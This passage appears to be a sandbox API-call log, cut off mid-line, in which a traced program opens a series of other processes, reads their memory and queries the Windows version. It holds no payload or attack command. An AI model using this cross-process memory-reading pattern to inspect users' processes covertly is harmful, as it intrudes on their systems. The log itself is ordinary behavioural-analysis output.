1 [0344.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.377] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.377] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.378] malloc (_Size=0x5c) returned 0xeb6700 [0344.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb6700, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0344.379] free (_Block=0xeb6700) [0344.379] CloseHandle (hObject=0xa9c) returned 1 [0344.379] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0344.379] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0344.379] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.379] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.380] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0344.380] GetLastError () returned 0x0 [0344.380] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.381] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.381] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.381] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.381] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.381] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.381] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.382] malloc (_Size=0x70) returned 0xea9120 [0344.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea9120, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0344.383] free (_Block=0xea9120) [0344.383] CloseHandle (hObject=0xa9c) returned 1 [0344.383] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0344.383] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0344.383] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.383] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.384] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0344.384] GetLastError () returned 0x0 [0344.384] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.384] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.384] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.385] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.385] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.386] malloc (_Size=0x6a) returned 0xea9120 [0344.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0344.386] free (_Block=0xea9120) [0344.386] CloseHandle (hObject=0xa9c) returned 1 [0344.387] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0344.387] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0344.387] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.387] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.388] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0344.388] GetLastError () returned 0x0 [0344.388] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.389] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.389] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.389] malloc (_Size=0x5e) returned 0xeb6230 [0344.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb6230, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0344.390] free (_Block=0xeb6230) [0344.390] CloseHandle (hObject=0xa9c) returned 1 [0344.391] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0344.391] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0344.391] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.391] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.393] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0344.393] GetLastError () returned 0x0 [0344.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.394] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.394] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.394] malloc (_Size=0x74) returned 0xea9020 [0344.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea9020, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0344.395] free (_Block=0xea9020) [0344.395] CloseHandle (hObject=0xa9c) returned 1 [0344.395] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0344.396] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0344.396] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.396] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.397] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0344.397] GetLastError () returned 0x0 [0344.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.398] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.398] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.398] malloc (_Size=0x6c) returned 0xea93a0 [0344.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea93a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.399] free (_Block=0xea93a0) [0344.399] CloseHandle (hObject=0xa9c) returned 1 [0344.400] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0344.400] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0344.400] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.400] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.401] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0344.401] GetLastError () returned 0x0 [0344.401] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.402] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.402] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.402] malloc (_Size=0x64) returned 0xeb6380 [0344.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb6380, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0344.403] free (_Block=0xeb6380) [0344.403] CloseHandle (hObject=0xa9c) returned 1 [0344.404] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0344.404] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0344.404] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.404] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.405] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0344.405] GetLastError () returned 0x0 [0344.405] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.405] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.405] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.407] malloc (_Size=0x68) returned 0xeb6620 [0344.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb6620, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0344.407] free (_Block=0xeb6620) [0344.420] CloseHandle (hObject=0xa9c) returned 1 [0344.420] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0344.421] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0344.421] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.421] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.422] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0344.422] GetLastError () returned 0x0 [0344.422] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, 